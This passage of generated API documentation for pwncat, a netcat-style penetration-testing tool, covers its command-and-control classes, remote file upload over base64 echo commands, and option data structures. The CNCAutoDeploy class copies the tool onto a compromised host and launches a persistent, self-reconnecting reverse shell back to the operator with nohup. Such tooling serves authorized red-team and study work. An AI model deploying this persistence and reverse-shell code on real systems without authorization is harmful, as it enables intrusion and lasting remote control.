            Optional[str]: Python version string or None if not found.
        """
        command = []
        command.append("{} -c '".format(path))
        command.append("from __future__ import print_function;")
        command.append("import sys;")
        command.append("v=sys.version_info;")
        command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'')

        response = self.remote_command("".join(command), True)

        if response is not None and response:
            for line in response:
                match = re.search(b"^([.0-9]+)", line)
                # Potential version candidate
                if match:
                    version = StringEncoder.decode(match.group(1))
                    if version[0] in ["2", "3"]:
                        return version
        return None

    def __set_remote_python_path(self):
        # type: () -> bool
        """Enumerate remote Python binary.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # TODO: Make windows compatible
        # [1/2] 'which' method
        for name in self.__PYTHON_NAMES:
            self.print_info("Probing for: which {}".format(name))
            response = self.remote_command("which {} 2>/dev/null".format(name), True)
            if response is not None and response:
                for line in response:
                    path = StringEncoder.decode(line)
                    self.print_info("Potential path: {}".format(path))
                    version = self.__get_remote_python_version(path)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = path
                    return True

        # TODO: Make windows compatible
        # [2/2] Absolute path method
        for path in self.__PYTHON_PATHS:
            for name in self.__PYTHON_NAMES:

                python = path + "/" + name
                self.print_info("Probing for: {}".format(python))
                rpath_lines = self.remote_command(
                    "test -f {p} && echo {p} || echo".format(p=python), True
                )
                if rpath_lines is not None and rpath_lines:
                    # Reset current round
                    path_found = False

                    # We expect a length of one, but we handle errors as well.
                    for rpath_line in rpath_lines:
                        if StringEncoder.decode(rpath_line).rstrip() == python:
                            path_found = True
                            break
                    if not path_found:
                        continue

                    # Potential python candidate
                    self.print_info("Potential path: {}".format(python))
                    version = self.__get_remote_python_version(python)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = python
                    return True
        return False

    def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False):
        # type: (str, str, bool) -> bool
        """Upload a local file to a base64 encoded remote file.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.
            at_once (bool): Send all data at once.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        first = True
        data = []  # type: List[str]

        with open(lpath, "r") as fhandle:
            lines = fhandle.readlines()
            count = len(lines)
            curr = 1
            for line in lines:
                if not at_once:
                    self.print_info(
                        "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True
                    )
                b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line)))
                if first:
                    if at_once:
                        data.append('echo "{}" > "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False)
                    first = False
                else:
                    if at_once:
                        data.append('echo "{}" >> "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False)
                curr += 1

        if at_once:
            self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1))
            self.remote_command("\n".join(data), False)
        else:
            self.print_info()

        # TODO: md5 check if this is legit
        return True

    def __remote_base64_decode(self, rpath_source, rpath_target):
        # type: (str, str) -> bool
        """Decode a remote base64 encoded file with pure Python.

        Args:
            rpath_source (str): The remote path to the existing base64 encoded file.
            rpath_target (str): The remote path to the desired base64 decoded file.

        Returns:
            bool: Returns `True` on success or `False` on failure.
        """
        self.flush_receive()

        command = []
        command.append("{} -c 'import base64;".format(self.__remote_python))
        command.append('f=open("{}", "r");'.format(rpath_source))
        command.append("lines = f.readlines();")
        if self.__remote_py3:
            command.append(
                'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\''
            )
        else:
            command.append('print "".join([base64.b64decode(l) for l in lines]);\'')
        command.append('> "{}"'.format(rpath_target))

        self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target))
        self.remote_command("".join(command), False)
        # TODO: validate via md5
        return True

Subclasses

Instance variables

var remote_py3

Is remote version Python3? Else it is Python2.

Expand source code 
@property
def remote_py3(self):
    # type: () -> bool
    """Is remote version Python3? Else it is Python2."""
    return self.__remote_py3
var remote_python

Discovered absolute Python remote path.

Expand source code 
@property
def remote_python(self):
    # type: () -> str
    """Discovered absolute Python remote path."""
    return self.__remote_python

Methods

def create_remote_tmpfile(self)

OS-independent remote tempfile creation.

Returns

str or None
Returns path on success or None on error.
Expand source code 
def create_remote_tmpfile(self):
    # type: () -> Optional[str]
    """OS-independent remote tempfile creation.

    Returns:
        str or None: Returns path on success or None on error.
    """
    self.flush_receive()
    self.print_info("Creating tmpfile:", False, True)

    command = []
    command.append("{} -c '".format(self.__remote_python))
    command.append("import tempfile;")
    command.append("h,f=tempfile.mkstemp();")
    if self.__remote_py3:
        command.append("print(f);")
    else:
        command.append("print f;")
    command.append("'")
    response = self.remote_command("".join(command), True)

    # All good
    if response is not None and len(response) == 1:
        tmpfile = StringEncoder.decode(response[0]).rstrip()
        self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
        return tmpfile

    # Something went wrong with stripping prefix from server, we need to manually
    # check if creation was successful.
    if response is not None and len(response) > 1:
        # A bit fuzzy, but we try a few times
        for _ in range(5):
            self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True)
            for candidate in response:
                tmpfile = StringEncoder.decode(candidate).rstrip()
                if self.remote_file_exists(tmpfile):
                    self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
                    return tmpfile

    self.print_info("Creating tmpfile: Failed", True, True)
    self.print_info("Response: {}".format(repr(response)))
    return None
def flush_receive(self)

Try to reveive everything which is currently being sent from remote.

Returns

List[bytes]
Returns a list of bytes of received data.

Raises

socket.error
Except here when unconnected or connection was forcibly closed.
Expand source code 
def flush_receive(self):
    # type: () -> List[bytes]
    """Try to reveive everything which is currently being sent from remote.

    Returns:
        List[bytes]: Returns a list of bytes of received data.

    Raises:
        socket.error:   Except here when unconnected or connection was forcibly closed.
    """
    self.print_info("Flushing receive buffer (this can take some time) ...")

    self.send(b"\n")
    data1 = self.send_recv(None, False, False)
    data2 = self.send_recv(None, False, False)

    self.print_info("Flushing receive buffer done.")
    return data1 + data2
def print_info(self, message=None, newline=True, erase=False)

Print a message to the local screen to inform the user.

Args

message : str
The message to print.
newline : bool
Add a newline?
erase : bool
Erase previously printed text on the same line.
Expand source code 
def print_info(self, message=None, newline=True, erase=False):
    # type: (Optional[str], bool, bool) -> None
    """Print a message to the local screen to inform the user.

    Args:
        message (str): The message to print.
        newline (bool): Add a newline?
        erase (bool): Erase previously printed text on the same line.
    """
    end = "\n" if newline else ""
    prefix = "{}[PWNCAT CnC]{} ".format(self.__COLORS["yellow"], self.__COLORS["reset"])
    if message is None:
        message = ""
        prefix = ""

    if erase:
        print("\r" * 1024 + "{}{}".format(prefix, message), end=end)
        sys.stdout.flush()
    else:
        print("{}{}".format(prefix, message), end=end)
        sys.stdout.flush()
def print_raw(self, message, newline)

Print a message to the local screen without color/prefix.

Args

message : bytes
The message to print.
newline : bool
Add a newline?
Expand source code 
def print_raw(self, message, newline):
    # type: (bytes, bool) -> None
    """Print a message to the local screen without color/prefix.

    Args:
        message (bytes): The message to print.
        newline (bool): Add a newline?
    """
    if self.__py3:
        end = b"\n" if newline else b""
        sys.stdout.buffer.write(b"".join([message, end]))
    else:
        end = "\n" if newline else ""  # type: ignore
        print(message, end=end)  # type: ignore

    # For issues with flush (when using tail -F or equal) see links below:
    # https://stackoverflow.com/questions/26692284
    # https://docs.python.org/3/library/signal.html#note-on-sigpipe
    try:
        sys.stdout.flush()
    except IOError:
        # Python flushes standard streams on exit; redirect remaining output
        # to devnull to avoid another broken pipe at shutdown
        devnull = os.open(os.devnull, os.O_WRONLY)
        os.dup2(devnull, sys.stdout.fileno())
def remote_command(self, command, output)

Run remote command with correct linefeeds and receive response lines.

Args

command : str
The command to execute on the remote end.
output : bool
Receive output from command?
Expand source code 
def remote_command(self, command, output):
    # type: (str, bool) -> Optional[List[bytes]]
    """Run remote command with correct linefeeds and receive response lines.

    Args:
        command (str): The command to execute on the remote end.
        output (bool): Receive output from command?
    """
    command = command.rstrip("\r\n")
    command = command.rstrip("\r")
    command = command.rstrip("\n")
    command = command + "\n"
    if output:
        return self.send_recv(StringEncoder.encode(command), True, True)
    self.send(StringEncoder.encode(command))
    return None
def remote_file_exists(self, remote_path)

Ensure given remote path exists as a file on remote end.

Args

remote_path : str
Path of file to check.

Returns

bool
Returns True on success and False on failure.
Expand source code 
def remote_file_exists(self, remote_path):
    # type: (str) -> bool
    """Ensure given remote path exists as a file on remote end.

    Args:
        remote_path (str): Path of file to check.

    Returns:
        bool: Returns `True` on success and `False` on failure.
    """
    self.flush_receive()

    # String should be short as an unstable remote might send small chunks
    unique_string = "_pwncat_"
    response = self.remote_command(
        'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True
    )
    if response is not None:
        for candidate in response:
            if StringEncoder.decode(candidate) == unique_string:
                return True
            if StringEncoder.decode(candidate).rstrip() == unique_string:
                return True
    response = self.flush_receive()
    if response is not None:
        for candidate in response:
            if StringEncoder.decode(candidate).rstrip() == unique_string:
                return True
            if StringEncoder.decode(candidate).rstrip() == unique_string:
                return True
    return False
def send(self, data)

Send data through a connected (TCP) or unconnected (UDP) socket.

Args

data : bytes
The data to send.

Returns

int
Returns total bytes sent.

Raises

socket.error
Except here when unconnected or connection was forcibly closed.
Expand source code 
def send(self, data):
    # type: (bytes) -> int
    """Send data through a connected (TCP) or unconnected (UDP) socket.

    Args:
        data (bytes): The data to send.

    Returns:
        int: Returns total bytes sent.

    Raises:
        socket.error:   Except here when unconnected or connection was forcibly closed.
    """
    return self.__net.net.send(data)
def send_recv(self, data, strip_suffix=True, strip_echo=False)

Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.

Args

data (None|bytes): The data to send. If None, will skip sending.
strip_suffix : bool
Strip remote suffix from received data?
strip_echo : bool
Also remove 'data' from output if server has echo'ed it?

Returns

List[bytes]
Returns a list of bytes of received data.

Raises

socket.error
Except here when unconnected or connection was forcibly closed.
Expand source code 
def send_recv(self, data, strip_suffix=True, strip_echo=False):
    # type: (Optional[bytes], bool, bool) -> List[bytes]
    """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.

    Args:
        data (None|bytes): The data to send. If None, will skip sending.
        strip_suffix (bool): Strip remote suffix from received data?
        strip_echo (bool): Also remove 'data' from output if server has echo'ed it?

    Returns:
        List[bytes]: Returns a list of bytes of received data.

    Raises:
        socket.error:   Except here when unconnected or connection was forcibly closed.
    """
    # [1/4] Send
    if data is not None:
        self.__net.net.send(data)

    # [2/4] Receive actual reply
    responses = []

    # Setup timer and current receive round
    time_start = datetime.now()
    curr_round = 0

    while curr_round < self.__recv_rounds:
        try:
            response = self.__net.net.receive()
        except socket.timeout:
            time.sleep(self.__recv_timeout)
            time_step = datetime.now()
            time_diff = time_step - time_start

            self.__log.trace(  # type: ignore
                "Timeout: Receive timed out after %f sec in %d/%d rounds",
                time_diff.total_seconds(),
                curr_round + 1,
                self.__recv_rounds,
            )
            curr_round += 1
        # On successful read, we can determine to adjust timings.
        else:
            time_end = datetime.now()
            time_diff = time_end - time_start

            self.__recv_times.append(time_diff.total_seconds())
            self.__log.trace(  # type: ignore
                "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds",
                time_diff.total_seconds(),
                sum(self.__recv_times) / len(self.__recv_times),
                curr_round + 1,
                self.__recv_rounds,
            )

            # Retries were required
            prev_recv_timeout = self.__recv_timeout
            if curr_round > 1:
                self.__recv_timeout += time_diff.total_seconds()
            # No retries requred
            else:
                self.__recv_timeout = time_diff.total_seconds() / 2

            self.__log.trace(  # type: ignore
                "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec",
                prev_recv_timeout,
                self.__recv_timeout,
            )

            # Add response
            if response:
                responses.append(response)

            # Reset the start time and round
            time_start = datetime.now()
            curr_round = 0

    # Return if already empty
    if not responses:
        return responses

    # Response could be in one of the below listed formats:
    # 1. response could be one line per element
    # 2. reposnse could be multiple lines per element
    # 3. response cloud be single characters per element
    # But we want to make sure that we always get one line per element,
    # so we normalize it

    # First: Join lines which do not have line endings
    self.__log.debug("Normalize recv before (1): %s", repr(responses))
    normalized = []
    has_eol = True
    for line in responses:
        if has_eol:
            normalized.append(line)
        else:
            normalized[-1] = normalized[-1] + line
        # Determine what to do next iteration
        if line.endswith(b"\r\n"):
            has_eol = True
        elif line.endswith(b"\n"):
            has_eol = True
        elif line.endswith(b"\r"):
            has_eol = True
        else:
            has_eol = False
    responses = normalized
    self.__log.debug("Normalize recv after  (1): %s", repr(responses))

    # Second: Separate lines which have line endings
    self.__log.debug("Normalize recv before (2): %s", repr(responses))
    normalized = []
    for line in responses:
        line = line.rstrip(b"\r\n")
        line = line.rstrip(b"\n")
        line = line.rstrip(b"\r")
        line = line.lstrip(b"\r\n")
        line = line.lstrip(b"\n")
        line = line.lstrip(b"\r")
        if b"\r\n" in line:
            for newline in line.split(b"\r\n"):
                normalized.append(newline)
        elif b"\n" in line:
            for newline in line.split(b"\n"):
                normalized.append(newline)
        elif b"\r" in line:
            for newline in line.split(b"\r"):
                normalized.append(newline)
        else:
            normalized.append(line)
    responses = normalized
    self.__log.debug("Normalize recv after  (2): %s", repr(responses))

    # [3/4] Remove remote ends suffix (if it sends something like it)
    # We iterate reversed of responses and check if the new line suffix(es)
    # are present at the end.
    # This is because the suffix(es) is always received last.
    if self.__remote_suffix and strip_suffix:
        # If multiple suffix lines are send we will first strip x-1 suffix lines
        if len(self.__remote_suffix) > 1:
            lines_to_strip = len(self.__remote_suffix) - 1
            self.__log.debug("Remove suffix before (1): %s", repr(responses))
            responses = responses[:-lines_to_strip]
            self.__log.debug("Remove suffix after  (1): %s", repr(responses))

        # Return if already empty
        if not responses:
            return responses

        # Clean up the last response line with first suffix line
        self.__log.debug("Remove suffix before (2): %s", repr(responses))
        responses[-1] = responses[-1].rstrip(self.__remote_suffix[0])
        self.__log.debug("Remove suffix after  (2): %s", repr(responses))

        # Ensure empty elements are removed
        self.__log.debug("Remove suffix before (3): %s", repr(responses))
        responses = [item for item in responses if item]
        self.__log.debug("Remove suffix after  (3): %s", repr(responses))

    # [4/4] Some server also echo back what we've send, so if we did send something
    # we need to strip this off as well
    if data is not None and strip_echo:
        for idx, item in enumerate(responses):
            if data in responses[idx]:
                del responses[idx]
            elif data.rstrip() in responses[idx]:
                del responses[idx]
            # Ensure empty elements are removed
            responses = [item for item in responses if item]

    # Return list of respones
    return responses
def upload(self, lpath, rpath)

OS-independent upload of a local file to a remote path.

Args

lpath : str
Local path of the file.
rpath : str
Remote path, where to upload the base64 encoded file.

Returns

bool
Returns True on success and False on failure.
Expand source code 
def upload(self, lpath, rpath):
    # type: (str, str) -> bool
    """OS-independent upload of a local file to a remote path.

    Args:
        lpath (str): Local path of the file.
        rpath (str): Remote path, where to upload the base64 encoded file.

    Returns:
        bool: Returns `True` on success and `False` on failure.
    """
    assert self.__remote_python is not None
    assert self.__remote_py3 is not None

    rpath_b64 = self.create_remote_tmpfile()
    self.flush_receive()
    if rpath_b64 is None:
        return False
    if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True):
        return False
    if not self.__remote_base64_decode(rpath_b64, rpath):
        return False
    return True
class CNCAutoDeploy (network, cmd, host, ports)

Command&Control pwncat auto deployment class.

Instantiate Command and Control class.

Args

network : IONetwork
Instance of IONetwork

Raises

CNCPythonNotFound
if remote Python binary path is not found.
Expand source code 
class CNCAutoDeploy(CNC):
    """Command&Control pwncat auto deployment class."""

    def __init__(
        self,
        network,  # type: IONetwork
        cmd,  # type: str
        host,  # type: str
        ports,  # type: List[int]
    ):
        # type: (...) -> None
        try:
            super(CNCAutoDeploy, self).__init__(network)
        except CNCPythonNotFound:
            return

        local_path = os.path.abspath(__file__)
        remote_path = self.create_remote_tmpfile()
        remote_stdout = self.create_remote_tmpfile()
        remote_stderr = self.create_remote_tmpfile()
        if remote_path is None:
            self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.")
            return
        if not self.upload(local_path, remote_path):
            self.print_info("Unable to upload file. Aborting and handing over to current shell.")
            return
        self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr)

        # We need to wait some time for slow severs
        self.print_info("Waiting for socket")
        time.sleep(2)
        self.flush_receive()

        self.print_info("Done. Handing over to current shell.")
        return

    def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr):
        # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None
        for port in ports:
            command = []
            command.append("nohup")
            command.append(self.remote_python)
            command.append(remote_path)
            command.append(host)
            command.append(str(port))
            command.append("--exec {}".format(binary))
            command.append("--reconn")
            command.append("--reconn-wait 1")
            if stdout is not None and stderr is not None:
                command.append("> {}".format(stdout))
                command.append("2> {}".format(stderr))
            elif stdout is not None:
                command.append("> {} 2>&1".format(stdout))
            elif stderr is not None:
                command.append("> {} 2>&1".format(stderr))
            command.append("&")
            data = " ".join(command)
            print("Starting pwncat rev shell: {}".format(data))
            self.remote_command(data, False)

Ancestors

Inherited members

class CNCPythonNotFound (*args, **kwargs)

CNC Exception handler.

Expand source code 
class CNCPythonNotFound(BaseException):
    """CNC Exception handler."""

Ancestors

  • builtins.BaseException
class ColoredLogFormatter (color, loglevel)

Custom log formatter which adds different details and color support.

Instantiate ColoredLogFormatter class.

Args

color : str
Either be alway, never or auto.
loglevel : int
Current desired log level.
Expand source code 
class ColoredLogFormatter(logging.Formatter):
    """Custom log formatter which adds different details and color support."""

    COLORS = {
        logging.CRITICAL: "\x1b[31;1m",  # bold red
        logging.ERROR: "\x1b[31;21m",  # red
        logging.WARNING: "\x1b[33;21m",  # yellow
        logging.INFO: "\x1b[32;21m",  # green
        logging.DEBUG: "\x1b[30;21m",  # gray
    }
    COLOR_DEF = COLORS[logging.DEBUG]
    COLOR_RST = "\x1b[0m"

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, color, loglevel):
        # type: (str, int) -> None
        """Instantiate ColoredLogFormatter class.

        Args:
            color (str):  Either be `alway`, `never` or `auto`.
            loglevel (int): Current desired log level.
        """
        super(ColoredLogFormatter, self).__init__()
        self.color = color
        self.loglevel = loglevel
        self.tty = sys.stderr.isatty()

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def format(self, record):
        # type: (logging.LogRecord) -> str
        """Apply custom formatting to log message."""
        log_fmt = self.__get_format()
        log_fmt = self.__colorize(record.levelno, log_fmt)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_format(self):
        # type: () -> str
        """Return format string based on currently applied log level."""
        # In debug logging we add slightly more info to all formats
        if self.loglevel == logging.DEBUG:
            return "%(levelname)s [%(threadName)s]: %(message)s"
        # In lower than debug logging we will add even more info to all log formats
        if self.loglevel < logging.DEBUG:
            return (
                "%(asctime)s %(levelname)s [%(threadName)s] %(lineno)d:%(funcName)s(): %(message)s"
            )
        # By default, we will only add basic info
        return "%(levelname)s: %(message)s"

    def __colorize(self, level, fmt):
        # type: (int, str) -> str
        """Colorize a log message based on its level."""
        if self.color == "never":
            return fmt

        # If stderr is redirected to a file or we're running on windows, do not do colorize
        if self.color == "auto" and (not self.tty or os.name == "nt"):
            return fmt

        return self.COLORS.get(level, self.COLOR_DEF) + fmt + self.COLOR_RST

Ancestors

  • logging.Formatter

Class variables

var COLORS
var COLOR_DEF
var COLOR_RST

Methods

def format(self, record)

Apply custom formatting to log message.

Expand source code 
def format(self, record):
    # type: (logging.LogRecord) -> str
    """Apply custom formatting to log message."""
    log_fmt = self.__get_format()
    log_fmt = self.__colorize(record.levelno, log_fmt)
    formatter = logging.Formatter(log_fmt)
    return formatter.format(record)
class DsCallableProducer (function, *args, **kwargs)

A type-safe data structure for Callable functions.

Expand source code 
class DsCallableProducer(object):
    """A type-safe data structure for Callable functions."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def function(self):
        # type: () -> Callable[..., Iterator[bytes]]
        """`IO.producer`: Callable funtcion function."""
        return self.__function

    @property
    def args(self):
        # type: () -> Any
        """`*args`: optional *args for the callable function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Any
        """`**kargs`: optional *kwargs for the callable function."""
        return self.__kwargs

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(self, function, *args, **kwargs):
        # type: (Callable[..., Iterator[bytes]], Any, Any) -> None
        self.__function = function
        self.__args = args
        self.__kwargs = kwargs

Instance variables

var args

*args: optional *args for the callable function.

Expand source code 
@property
def args(self):
    # type: () -> Any
    """`*args`: optional *args for the callable function."""
    return self.__args
var function

IO.producer(): Callable funtcion function.

Expand source code 
@property
def function(self):
    # type: () -> Callable[..., Iterator[bytes]]
    """`IO.producer`: Callable funtcion function."""
    return self.__function
var kwargs

**kargs: optional *kwargs for the callable function.

Expand source code 
@property
def kwargs(self):
    # type: () -> Any
    """`**kargs`: optional *kwargs for the callable function."""
    return self.__kwargs
class DsIOCommand (enc, executable, bufsize)

A type-safe data structure for IOCommand options.

Expand source code 
class DsIOCommand(object):
    """A type-safe data structure for IOCommand options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: Instance of StringEncoder."""
        return self.__enc

    @property
    def executable(self):
        # type: () -> str
        """`srt`: Name or path of executable to run (e.g.: `/bin/bash`)."""
        return self.__executable

    @property
    def bufsize(self):
        # type: () -> int
        """`int`: `subprocess.Popen` bufsize.

        https://docs.python.org/3/library/subprocess.html#popen-constructor
        0 means unbuffered (read and write are one system call and can return short)
        1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
        any other positive value means use a buffer of approximately that size
        negative bufsize (the default) means system default of io.DEFAULT_BUFFER_SIZE will be used.
        """
        return self.__bufsize

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, enc, executable, bufsize):
        # type: (StringEncoder, str, int) -> None
        self.__enc = enc
        self.__executable = executable
        self.__bufsize = bufsize

Instance variables

var bufsize

int: subprocess.Popen bufsize.

https://docs.python.org/3/library/subprocess.html#popen-constructor 0 means unbuffered (read and write are one system call and can return short) 1 means line buffered (only usable if universal_newlines=True i.e., in a text mode) any other positive value means use a buffer of approximately that size negative bufsize (the default) means system default of io.DEFAULT_BUFFER_SIZE will be used.

Expand source code 
@property
def bufsize(self):
    # type: () -> int
    """`int`: `subprocess.Popen` bufsize.

    https://docs.python.org/3/library/subprocess.html#popen-constructor
    0 means unbuffered (read and write are one system call and can return short)
    1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
    any other positive value means use a buffer of approximately that size
    negative bufsize (the default) means system default of io.DEFAULT_BUFFER_SIZE will be used.
    """
    return self.__bufsize
var enc

StringEncoder: Instance of StringEncoder.

Expand source code 
@property
def enc(self):
    # type: () -> StringEncoder
    """`StringEncoder`: Instance of StringEncoder."""
    return self.__enc
var executable

srt: Name or path of executable to run (e.g.: /bin/bash).

Expand source code 
@property
def executable(self):
    # type: () -> str
    """`srt`: Name or path of executable to run (e.g.: `/bin/bash`)."""
    return self.__executable
class DsIONetworkCli (reconn, reconn_wait, reconn_robin)

A type-safe data structure for IONetwork client options.

Expand source code 
class DsIONetworkCli(object):
    """A type-safe data structure for IONetwork client options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def reconn(self):
        # type: () -> int
        """`int`: If connection fails, retry endless (if negative) or x many times."""
        return self.__reconn

    @reconn.setter
    def reconn(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__reconn = value

    @property
    def reconn_wait(self):
        # type: () -> float
        """`float`: Wait time between re-connections in seconds."""
        return self.__reconn_wait

    @reconn_wait.setter
    def reconn_wait(self, value):
        # type: (float) -> None
        assert type(value) is float, type(value)
        self.__reconn_wait = value

    @property
    def reconn_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating re-connection ports."""
        return self.__reconn_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, reconn, reconn_wait, reconn_robin):
        # type: (int, float, List[int]) -> None
        assert type(reconn) is int, type(reconn)
        assert type(reconn_wait) is float, type(reconn_wait)
        assert type(reconn_robin) is list, type(reconn_robin)
        for i in reconn_robin:
            assert type(i) is int, type(i)
        self.__reconn = reconn
        self.__reconn_wait = reconn_wait
        self.__reconn_robin = reconn_robin

Instance variables

var reconn

int: If connection fails, retry endless (if negative) or x many times.

Expand source code 
@property
def reconn(self):
    # type: () -> int
    """`int`: If connection fails, retry endless (if negative) or x many times."""
    return self.__reconn
var reconn_robin

[int]: List of alternating re-connection ports.

Expand source code 
@property
def reconn_robin(self):
    # type: () -> List[int]
    """`[int]`: List of alternating re-connection ports."""
    return self.__reconn_robin
var reconn_wait

float: Wait time between re-connections in seconds.

Expand source code 
@property
def reconn_wait(self):
    # type: () -> float
    """`float`: Wait time between re-connections in seconds."""
    return self.__reconn_wait
class DsIONetworkSock (bufsize, backlog, recv_timeout, recv_timeout_retry, nodns, ipv4, ipv6, src_addr, src_port, udp, udp_sconnect, udp_sconnect_word, ip_tos, info)

A type-safe data structure for IONetwork socket options.

Expand source code 
class DsIONetworkSock(DsSock):
    """A type-safe data structure for IONetwork socket options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def recv_timeout_retry(self):
        # type: () -> int
        """`int`: How many times to retry receiving if stop signal was raised."""
        return self.__recv_timeout_retry

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        recv_timeout_retry,  # type: int
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[bool]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(recv_timeout_retry) is int, type(recv_timeout_retry)
        self.__recv_timeout_retry = recv_timeout_retry
        super(DsIONetworkSock, self).__init__(
            bufsize,
            backlog,
            recv_timeout,
            nodns,
            ipv4,
            ipv6,
            src_addr,
            src_port,
            udp,
            udp_sconnect,
            udp_sconnect_word,
            ip_tos,
            info,
        )

Ancestors

Instance variables

var recv_timeout_retry

int: How many times to retry receiving if stop signal was raised.

Expand source code 
@property
def recv_timeout_retry(self):
    # type: () -> int
    """`int`: How many times to retry receiving if stop signal was raised."""
    return self.__recv_timeout_retry

Inherited members

class DsIONetworkSrv (keep_open, rebind, rebind_wait, rebind_robin)

A type-safe data structure for IONetwork server options.

Expand source code 
class DsIONetworkSrv(object):
    """A type-safe data structure for IONetwork server options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def keep_open(self):
        # type: () -> bool
        """`bool`: Accept new clients if one has disconnected."""
        return bool(self.__keep_open)

    @keep_open.setter
    def keep_open(self, value):
        # type: (bool) -> None
        """Change keep_open value."""
        assert type(value) is bool, type(value)
        self.__keep_open = value

    @property
    def rebind(self):
        # type: () -> int
        """`int`: If binding fails, retry endless (if negative) or x many times."""
        return self.__rebind

    @rebind.setter
    def rebind(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__rebind = value

    @property
    def rebind_wait(self):
        # type: () -> float
        """`float`: Wait time between rebinds in seconds."""
        return self.__rebind_wait

    @property
    def rebind_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating rebind ports."""
        return self.__rebind_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, rebind, rebind_wait, rebind_robin):
        # type: (bool, int, float, List[int]) -> None
        assert type(keep_open) is bool, type(keep_open)
        assert type(rebind) is int, type(rebind)
        assert type(rebind_wait) is float, type(rebind_wait)
        assert type(rebind_robin) is list, type(rebind_robin)
        for i in rebind_robin:
            assert type(i) is int, type(i)
        self.keep_open = keep_open
        self.__rebind = rebind
        self.__rebind_wait = rebind_wait
        self.__rebind_robin = rebind_robin

Instance variables

var keep_open

bool: Accept new clients if one has disconnected.

Expand source code 
@property
def keep_open(self):
    # type: () -> bool
    """`bool`: Accept new clients if one has disconnected."""
    return bool(self.__keep_open)
var rebind

int: If binding fails, retry endless (if negative) or x many times.

Expand source code 
@property
def rebind(self):
    # type: () -> int
    """`int`: If binding fails, retry endless (if negative) or x many times."""
    return self.__rebind
var rebind_robin

[int]: List of alternating rebind ports.

Expand source code 
@property
def rebind_robin(self):
    # type: () -> List[int]
    """`[int]`: List of alternating rebind ports."""
    return self.__rebind_robin
var rebind_wait

float: Wait time between rebinds in seconds.

Expand source code 
@property
def rebind_wait(self):
    # type: () -> float
    """`float`: Wait time between rebinds in seconds."""
    return self.__rebind_wait
class DsIOStdinStdout (encoder, input_timeout, send_on_eof)

A type-safe data structure for IOStdinStdout options.

Expand source code 
class DsIOStdinStdout(object):
    """A type-safe data structure for IOStdinStdout options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: String encoder instance."""
        return self.__enc

    @property
    def input_timeout(self):
        # type: () -> Optional[float]
        """`float`: Input timeout in seconds for non-blocking read or `None` for blocking."""
        return self.__input_timeout

    @property
